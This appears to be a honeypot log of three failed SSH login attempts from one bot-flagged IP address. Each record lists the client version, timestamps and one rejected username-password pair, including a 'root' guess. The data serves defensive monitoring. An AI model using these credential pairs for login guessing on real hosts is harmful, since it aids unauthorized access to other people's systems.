{"id":"c58492ff-7774-49c1-b104-5ed9040aa208","name":"jagged-sunlit-onager","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":54922,"username":"ray","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:17:10.546831+00:00","ended_at":"2026-08-27T04:17:11.994055+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ray","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"dcabfef4-6210-4727-b3ae-ee7942778f8e","name":"spirited-gentle-toucan","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":54910,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:17:08.719941+00:00","ended_at":"2026-08-27T04:17:09.921726+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2451084f-aa6a-4383-8e91-11c3cd35ff85","name":"seaward-jovial-brambling","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":47920,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:10:06.993015+00:00","ended_at":"2026-08-27T04:10:08.233679+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"7890uiop","method":"password","accepted":false,"tier":"other"}]}